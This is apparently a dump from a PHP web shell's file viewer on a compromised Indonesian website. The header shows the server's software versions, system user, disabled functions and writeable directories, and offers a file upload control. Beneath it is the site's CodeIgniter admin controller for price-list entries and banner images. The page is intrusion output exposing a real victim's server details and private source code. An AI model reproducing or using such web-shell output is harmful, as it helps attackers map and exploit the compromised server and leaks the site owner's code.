https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/blue-sky.co.id/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/blue-sky.co.id/public_html/application/controllers/admin/Daftar_harga.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Daftar_harga extends Admin_Controller {

    //this property is used for validating existing blog title on call back edit blog
    private $current_id = NULL;

    //this property is to mark whether we are uploading image in the index page
    private $imageupload_indexpage = FALSE;
        
    function __construct() {

        parent::__construct(); 

        //admin role module check
        $this->check_admin_role('daftar harga'); //method from Admin_controller
        
        $this->load->model('daftar_harga_m'); 
    } 
        
    //this is to list all home_slideshow   
    // public function index() {
        
    //     //pagination in action. 100 results per page
    //     $this->load->library('pagination');
    //     $config['base_url'] = base_url() . 'admin/daftar_harga/index';
    //     $config['per_page'] = 100;
    //     $config["uri_segment"] = 4; 

    //     //fetch all home_slideshow
    //     $config['total_rows'] = $this->daftar_harga_m->record_count();  
    //     $this->pagination->initialize($config);
    //     $this->data['home_slideshow'] = $this->daftar_harga_m->get_all_home_slideshow($config["per_page"], 
    //     $this->uri->segment(4)); 
    
    //     //load view
    //     $this->data['subview'] = 'admin/daftar_harga/index';
    //     $this->load->view('admin/templates/header', $this->data_header); 
    //     $this->load->view('admin/_layout_main', $this->data);
    //     $this->load->view('admin/templates/footer');        
    // }

    public function index() {

        if (isset($_POST['submit'])) {

            $u_data = array( 
                'text_content' => $this->input->post('text_content'),
                'text_content_en' => $this->input->post('text_content_en'), 
            ); 

            $this->db->update('daftar_harga', $u_data, 
                array('id_home_slideshow' => 1)
            );

            $this->imageupload_indexpage = TRUE;

            //get max image width and height from configuration table
            $this->db->select('*')->from('configuration')->where('id_configuration', 1);
            $image_dimension = $this->db->get()->row();

            //check & processing image banner upload files  
            if ($_FILES['userfile']['size'] !== 0) {  
            
                $config['upload_path'] = './uploads/blog/'; 
                $config['allowed_types'] = 'jpg|png'; 
                $config['max_size'] = '1024';
                $config['max_width'] = $image_dimension->image_banner_width;
                $config['max_height'] = $image_dimension->image_banner_height;
                
                $this->load->library('upload', $config); 

                if ( ! $this->upload->do_upload()) {

                    // echo $this->upload->display_errors(); die();
                        
                    $this->session->set_flashdata('banner_msg', '<br>
                        <p style="background:orange; color:white; padding:5px; font-weight:bold;">Kesalahan Unggah Gambar. Format atau ukuran salah.</p>');

                    redirect('admin/daftar_harga/edit/1');
                
                } else {
                    $image = $this->upload->data();
                    $image_filename = $image['file_name'];
                    $this->resize_single_image($image_dimension->image_banner_width,$image_dimension->image_banner_height,'blog/',$image_filename);      
                } 
            }
        }

        //image upload
        if (isset($image_filename)) {
            $data['harga_banner'] = $image_filename; 

            $this->db->where('id_configuration', 1);
            $this->db->update('configuration', $data); 

            $this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Edit Banner Berhasil</p>');
        }  

        redirect('admin/daftar_harga/edit/1');
    }

    function refreshDisplayPriority(){
        $this_data = $this->input->post('this_data');

        foreach ($this_data as $key) {
            $u_data = array(
                'priority'=>$key['val'],
            );
            $this->db->update('daftar_harga', $u_data, array('id_home_slideshow' => $key['id']));
        }

        $this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Jenis kain Priority berhasil diubah</p>');

        echo json_encode(array(
            "res"=>"sukses",
            // "data"=>$this_data,
        ));
    }

    function changeStatusAct(){
        $this_id = $this->input->post('this_id');
        $toStat = $this->input->post('toStat');

        $codeStat = null;
        if ($toStat == "Ya") {
            $codeStat = '1';
        }else{
            $codeStat = '0'; 
        }

        $data = array(
            "status"=>$codeStat,
        );

        $upd = $this->db->update('daftar_harga', $data, array('id_home_slideshow' => $this_id));

        if ($upd) {
            echo json_encode(array(
                "res"=>"sukses",
            ));
        }

    }
    
    //to add a new brand 
    public function add() {
    
    $this->data['home_slideshow'] = $this->daftar_harga_m->get_new();
    $this->data['parent_categories']    = $this->db->select('*')->from('products')->where('product_status',1)->order_by('priority','ASC')->get()->result(); 

    //get ordering number and display at add form
    $this->db->select_max('priority')->from('daftar_harga');
    $current_priority = $this->db->get()->row()->priority;
    if($current_priority == NULL) {
        $this->data['home_slideshow']->priority = 1;    
    } else {
        $this->data['home_slideshow']->priority = $current_priority + 1;
    } 
        
        //validation check in action
        $config = array( 
              array(
                 'field'   => 'title',
                 'label'   => 'Banner Title',
                 'rules'   => 'trim|required'
              ),
              array(
                 'field'   => 'banner_link',
                 'label'   => 'Banner Link',
                 'rules'   => 'trim'
              ),  
              array(
                 'field'   => 'priority',
                 'label'   => 'Priority',
                 'rules'   => 'trim|required|numeric'
              ),  
              array(
                 'field'   => 'status',
                 'label'   => 'status',
                 'rules'   => 'trim|required'
              ),
              array(
                 'field'   => 'text_content',
                 'label'   => 'text_content',
                 'rules'   => 'trim'
              ), 
        );

        $this->load->library('form_validation');
        $this->form_validation->set_rules($config); 
        $this->form_validation->set_error_delimiters('<div class="error">', '</div>');

        if($this->form_validation->run() == TRUE) {
            
            if($_POST) {

                //check & processing image banner upload files  
                if ($_FILES['image1']['size'] !== 0) {      

                    //get slideshow size from configuration table
                    $this->db->select('jenis_kain_width, jenis_kain_height')->from('configuration')->where('id_configuration', 1);
                    $slideshow_dimensions = $this->db->get()->row();

                    $config['upload_path'] = './uploads/banners/'; 
                    $config['allowed_types'] = 'jpg|png'; 
                    $config['max_size'] = '600';
                    $config['max_width']  = $slideshow_dimensions->jenis_kain_width;
                    $config['max_height'] = $slideshow_dimensions->jenis_kain_height;
                    
                    $this->load->library('upload', $config); 

                    if ( ! $this->upload->do_upload('image1')) {
                        //echo $this->upload->display_errors(); die();
                        $this->session->set_flashdata('error', '<br>
                            <p style="background:orange; color:white; padding:5px; font-weight:bold;">Kesalahan Unggah Gambar. Format atau ukuran salah.</p>');
                        redirect('admin/daftar_harga/add');
                    } else {
                        $image1 = $this->upload->data();
                        $image1_filename = $image1['file_name'];
                        $this->resize_single_image($slideshow_dimensions->jenis_kain_width,$slideshow_dimensions->jenis_kain_height,'banners/',$image1_filename);    
                    }   
                } 

                //check & processing image banner upload files  
                if ($_FILES['image2']['size'] !== 0) {      

                    $config['upload_path'] = './uploads/banners/'; 
                    $config['allowed_types'] = 'jpg|png'; 
                    $config['max_size'] = '1000';
                    // $config['max_width']  = '720';
                    // $config['max_height'] = '360';
                    
                    $this->load->library('upload', $config); 

                    if ( ! $this->upload->do_upload('image2')) {
                        //echo $this->upload->display_errors(); die();
                        $this->session->set_flashdata('error', '<br>
                            <p style="background:orange; color:white; padding:5px; font-weight:bold;">Kesalahan Unggah Gambar. Format atau ukuran salah.</p>');
                        redirect('admin/daftar_harga/add');
                    } else {
                        $image2 = $this->upload->data();
                        $image2_filename = $image2['file_name'];
                        $this->resize_single_image('720','360','banners/',$image2_filename);     
                    }   
                } 

                $data = array(
                    'title' => $this->security->xss_clean($this->input->post('title')),
                    'title_en' => $this->security->xss_clean($this->input->post('title_en')),
                    'title2' => $this->security->xss_clean($this->input->post('title2')),
                    'title2_en' => $this->security->xss_clean($this->input->post('title2_en')),
                    'banner_link' => $this->security->xss_clean($this->input->post('banner_link')),
                    'banner_link_en' => $this->security->xss_clean($this->input->post('banner_link_en')),
                    'priority' => $this->input->post('priority'),
                    'status' => $this->input->post('status'),
                    'text_content' => $this->input->post('text_content'),
                    'text_content_en' => $this->input->post('text_content_en'),
                    'button_text' => $this->input->post('button_text'),
                    'button_text_en' => $this->input->post('button_text_en'),
                    'jdl_harga_jahit' => $this->input->post('inp_jdl_harga_jahit_id')."||".$this->input->post('inp_jdl_harga_jahit_en'),
                    'jdl_harga_jasa_tambahan' => $this->input->post('inp_jdl_harga_jasa_tambahan_id')."||".$this->input->post('inp_jdl_harga_jasa_tambahan_en'),
                );

                //image upload
                if (isset($image1_filename)) {
                    $data['image'] = $image1_filename;
                } 

                if (isset($image2_filename)) {
                    $data['image_mobile'] = $image2_filename;
                } 

                $this->daftar_harga_m->add_home_slideshow($data);

                $this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Jenis kain berhasil ditambahkan</p>');

                redirect('admin/daftar_harga');
            }
        } 
        
        $this->data['subview'] = 'admin/daftar_harga/edit';
        $this->load->view('admin/templates/header', $this->data_header); 
        $this->load->view('admin/_layout_main', $this->data);
        $this->load->view('admin/templates/footer');    
    }
    
    //to edit brand in admin
    public function edit($id = NULL) {

        $this->data['parent_categories']    = $this->db->select('*')->from('products')->where('product_status',1)->order_by('priority','ASC')->get()->result();

        //get all chosen (active) categories
        $this->db->select('*')->from('category_jeniskain')->where('id_product', $id);
        $this->data['chosen_categories'] = $this->db->get()->result();

        //get all product specifications
        $this->data['specifications'] = $this->db->select('*')->from('daftar_harga_detail')->where('product_id', $id)->order_by('id', 'ASC')->limit(4)->get()->result();

        //get all product specifications
        $this->data['specifications2'] = $this->db->select('*')->from('daftar_harga_detail')->where('product_id', $id)->order_by('id', 'ASC')->get()->result();

        //check if id exist. If not exist, show 404.
        $count = $this->daftar_harga_m->count_exist($id); 
        
        if ($count == 0) {
            //page not exist
            show_404();
        }       

        $this->data['home_slideshow'] = $this->daftar_harga_m->get($id);

        $this->data['daftar_harga'] = $this->db->select('harga_banner')->from('configuration')->get()->row();
        
        //validation check in action
        $config = array( 
                  array(
                     'field'   => 'title',
                     'label'   => 'Banner Title',
                     'rules'   => 'trim'
                  ),
                  array(
                     'field'   => 'banner_link',
                     'label'   => 'Banner Link',
                     'rules'   => 'trim'
                  ),  
                  array(
                     'field'   => 'priority',
                     'label'   => 'Priority',
                     'rules'   => 'trim|required|numeric'
                  ),  
                  array(
                     'field'   => 'status',
                     'label'   => 'status',
                     'rules'   => 'trim|required'
                  ),
                   array(
                     'field'   => 'text_content',
                     'label'   => 'text_content',
                     'rules'   => 'trim'
                  ),
                  
            );
        $this->load->library('form_validation');
        $this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled   
        $this->form_validation->set_rules($config); 
        $this->form_validation->set_error_delimiters('<div class="error">', '</div>');

        if($this->form_validation->run() == TRUE) {
            
            if($_POST) {

                //check & processing image banner upload files  
                if ($_FILES['image1']['size'] !== 0) {      

                    //get slideshow size from configuration table
                    $this->db->select('jenis_kain_width, jenis_kain_height')->from('configuration')->where('id_configuration', 1);
                    $slideshow_dimensions = $this->db->get()->row();

                    $config['upload_path'] = './uploads/banners/'; 
                    $config['allowed_types'] = 'jpg|png'; 
                    $config['max_size'] = '600';
                    $config['max_width']  = $slideshow_dimensions->jenis_kain_width;
                    $config['max_height'] = $slideshow_dimensions->jenis_kain_height;
                    
                    $this->load->library('upload', $config); 

                    if ( ! $this->upload->do_upload('image1')) {
                        //echo $this->upload->display_errors(); die();
                        $this->session->set_flashdata('error', '<br>
                            <p style="background:orange; color:white; padding:5px; font-weight:bold;">Kesalahan Unggah Gambar. Format atau ukuran salah.</p>');
                        redirect('admin/daftar_harga/add');
                    } else {
                        $image1 = $this->upload->data();
                        $image1_filename = $image1['file_name']; 
                        $this->resize_single_image($slideshow_dimensions->jenis_kain_width,$slideshow_dimensions->jenis_kain_height,'banners/',$image1_filename);    
                    }   
                } 

                //check & processing image banner upload files  
                if ($_FILES['image2']['size'] !== 0) {      

                    $config['upload_path'] = './uploads/banners/'; 
                    $config['allowed_types'] = 'jpg|png'; 
                    $config['max_size'] = '1000';
                    // $config['max_width']  = '720';
                    // $config['max_height'] = '360';
                    
                    $this->load->library('upload', $config); 

                    if ( ! $this->upload->do_upload('image2')) {
                        //echo $this->upload->display_errors(); die();
                        $this->session->set_flashdata('error', '<br>
                            <p style="background:orange; color:white; padding:5px; font-weight:bold;">Kesalahan Unggah Gambar. Format atau ukuran salah.</p>');
                        redirect('admin/daftar_harga/add');
                    } else {
                        $image2 = $this->upload->data();
                        $image2_filename = $image2['file_name']; 
                        $this->resize_single_image('720','360','banners/',$image2_filename);     
                    }   
                } 

                $data = array(
                    'title' => $this->security->xss_clean($this->input->post('title')),
                    'title_en' => $this->security->xss_clean($this->input->post('title_en')),
                    'title2' => $this->security->xss_clean($this->input->post('title2')),
                    'title2_en' => $this->security->xss_clean($this->input->post('title2_en')),
                    'banner_link' => $this->security->xss_clean($this->input->post('banner_link')),
                    'banner_link_en' => $this->security->xss_clean($this->input->post('banner_link_en')),
                    'priority' => $this->input->post('priority'),
                    'status' => $this->input->post('status'),
                    'text_content' => $this->input->post('text_content'),
                    'text_content_en' => $this->input->post('text_content_en'),
                    'button_text' => $this->input->post('button_text'),
                    'button_text_en' => $this->input->post('button_text_en'),
                    'jdl_harga_jahit' => $this->input->post('inp_jdl_harga_jahit_id')."||".$this->input->post('inp_jdl_harga_jahit_en'),
                    'jdl_harga_jasa_tambahan' => $this->input->post('inp_jdl_harga_jasa_tambahan_id')."||".$this->input->post('inp_jdl_harga_jasa_tambahan_en'),
                );

                //image upload
                if (isset($image1_filename)) {
                    $data['image'] = $image1_filename;
                } 

                if (isset($image2_filename)) {
                    $data['image_mobile'] = $image2_filename;
                } 

                $this->daftar_harga_m->edit_home_slideshow($id, $data);

                /*INSERT INTO PRODUCT SPECIFICATION TABLE*/
                /*delete all contents inside this table */

                $this->db->where('product_id', $id);
                $this->db->delete('daftar_harga_detail');
                // echo "<pre>";
                for ($i=1; $i <= 50; $i++) {
                    $data= array('product_id'=>$id);

                    if($this->input->post('ukuran_lebar'.$i)) {
                        $data['ukuran_lebar'] = $this->input->post('ukuran_lebar'.$i);
                    }

                    if($this->input->post('jenis2'.$i)) {
                        $data['jenis2'] = $this->input->post('jenis2'.$i);
                    }

                    if($this->input->post('jenis3'.$i)) {
                        $data['jenis3'] = $this->input->post('jenis3'.$i);
                    }

                    if($this->input->post('harga_permeter'.$i)) {
                        $data['harga_permeter'] = $this->input->post('harga_permeter'.$i);
                    }

                    if($this->input->post('harga2'.$i)) {
                        $data['harga2'] = $this->input->post('harga2'.$i);
                    }

                    if($this->input->post('harga3'.$i)) {
                        $data['harga3'] = $this->input->post('harga3'.$i);
                    }
                    // var_dump($data);
                    // echo "<hr>";
                    $this->db->insert('daftar_harga_detail', $data);
                }
                // exit();

                $this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Daftar harga berhasil diedit</p>');
                
                redirect('admin/daftar_harga/edit/'.$id);
            }
        } 
        
        $this->data['subview'] = 'admin/daftar_harga/edit';
        $this->load->view('admin/templates/header', $this->data_header); 
        $this->load->view('admin/_layout_main', $this->data);
        $this->load->view('admin/templates/footer');    
    }

    //To delete blog landingpage banner image file from server, and from database
    public function delete_harga_banner() { 

        //get image file name for deletion
        $this->db->select('harga_banner')->from('configuration')->where('id_configuration', 1);
        $image = $this->db->get()->row()->harga_banner;

        //Delete the actual image file from server. FCPATH is codeigniter base path
        unlink(FCPATH .'/uploads/blog/'. $image);

        //Delete image field from database
        $data = array( 
            'harga_banner' => '',
        );

        $this->db->where('id_configuration', 1);
        $this->db->update('configuration', $data);  

        $this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Hapus Banner Berhasil</p>');
        
        redirect('admin/daftar_harga/edit/1'); 
    }
    
    
    //to delete a brand
    public function delete($id) {

        //check if id exist. If not exist, show 404.
        $count = $this->daftar_harga_m->count_exist($id);
        
        if ($count == 0) {  
            //page not exist 
            show_404();
        }       

        //delete brand
        $this->daftar_harga_m->delete($id);

        $this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Jenis kain berhasil dihapus</p>');
        redirect('admin/daftar_harga');
    }
        
}

https://t.me/RX1948 - 2025